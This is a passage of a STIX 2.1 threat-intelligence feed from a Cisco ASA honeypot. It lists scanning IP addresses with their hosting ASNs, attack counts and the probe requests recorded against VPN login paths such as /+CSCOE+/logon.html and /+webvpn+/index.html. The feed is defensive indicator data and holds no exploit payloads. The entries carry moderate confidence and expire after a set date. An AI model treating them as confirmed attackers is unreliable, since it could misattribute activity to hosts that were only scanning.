      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T12:57:19.321Z",
          "last_seen": "2026-04-29T17:21:37.248Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8b14552b-a769-4888-8334-1afc894959e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T12:20:38.802Z",
          "last_seen": "2026-04-24T16:33:54.712Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--eb169d06-f478-4981-8e87-19d99c817be4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T14:03:23.041Z",
          "last_seen": "2026-04-29T06:36:24.247Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--6d784053-8b46-43f7-81d9-d5067f15c991",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T10:39:56.578Z",
          "last_seen": "2026-04-29T20:34:06.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--209fa244-3fb7-46ee-a00b-da0fa509be12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.133.51.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T14:08:36.495Z",
          "last_seen": "2026-04-14T02:10:46.424Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--948fa7e2-0b96-4914-99fa-2cb333a7ed6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.110.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T13:33:38.178Z",
          "last_seen": "2026-04-15T02:23:16.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--69bd4299-e479-45be-8fb2-a5cceced75d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.81.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T13:20:38.426Z",
          "last_seen": "2026-04-13T13:20:55.902Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--22b1a388-9938-458c-ac3b-36c64c8b0864",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.130.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T13:23:43.986Z",
          "last_seen": "2026-04-13T13:24:05.078Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8e70a949-3fb2-4047-8ac1-360c9575158d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T14:16:32.016Z",
          "last_seen": "2026-04-29T13:33:17.649Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--83187d66-1f4d-4b03-88bc-2048e648f1c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T13:56:45.031Z",
          "last_seen": "2026-04-29T01:38:35.681Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e24ce7b5-ebee-44db-b758-331cfc3474cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T14:17:12.099Z",
          "last_seen": "2026-04-27T15:56:17.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c0500192-c463-4ef0-bb82-32f8138baf42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T14:02:38.884Z",
          "last_seen": "2026-04-27T14:23:42.909Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fa013328-b6b6-4465-8175-c2f43702af40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T13:31:09.234Z",
          "last_seen": "2026-04-30T02:12:45.329Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--511feb2e-f15c-4626-b282-5ed8a8a28d89",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:20:11.000Z",
      "valid_until": "2026-05-15T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T13:35:58.062Z",
          "last_seen": "2026-04-27T21:57:58.936Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--4000e99b-e554-4a4b-9de6-9a70c5562a22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T15:57:18.844Z",
          "last_seen": "2026-04-29T13:53:29.811Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--de3d9d87-c8a3-4911-a3c7-43bad0fd706e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.254.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T15:51:04.125Z",
          "last_seen": "2026-04-13T15:51:29.594Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--083f4da2-20a1-4a8f-b869-2b58f66f9c77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.100.146.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T15:29:20.418Z",
          "last_seen": "2026-04-13T15:29:31.839Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--6f2bb556-8c43-4ad9-b120-45a9d3d57498",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-13T15:37:00.926Z",
          "last_seen": "2026-04-13T15:37:10.226Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8ac1f83d-d7c1-4cfc-aaf2-5b8521bd8582",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.98.42.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T15:35:17.746Z",
          "last_seen": "2026-04-15T04:37:23.488Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b2b4c210-2c49-4809-9cd5-32a3184a5e3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T15:31:29.505Z",
          "last_seen": "2026-04-25T00:24:51.305Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
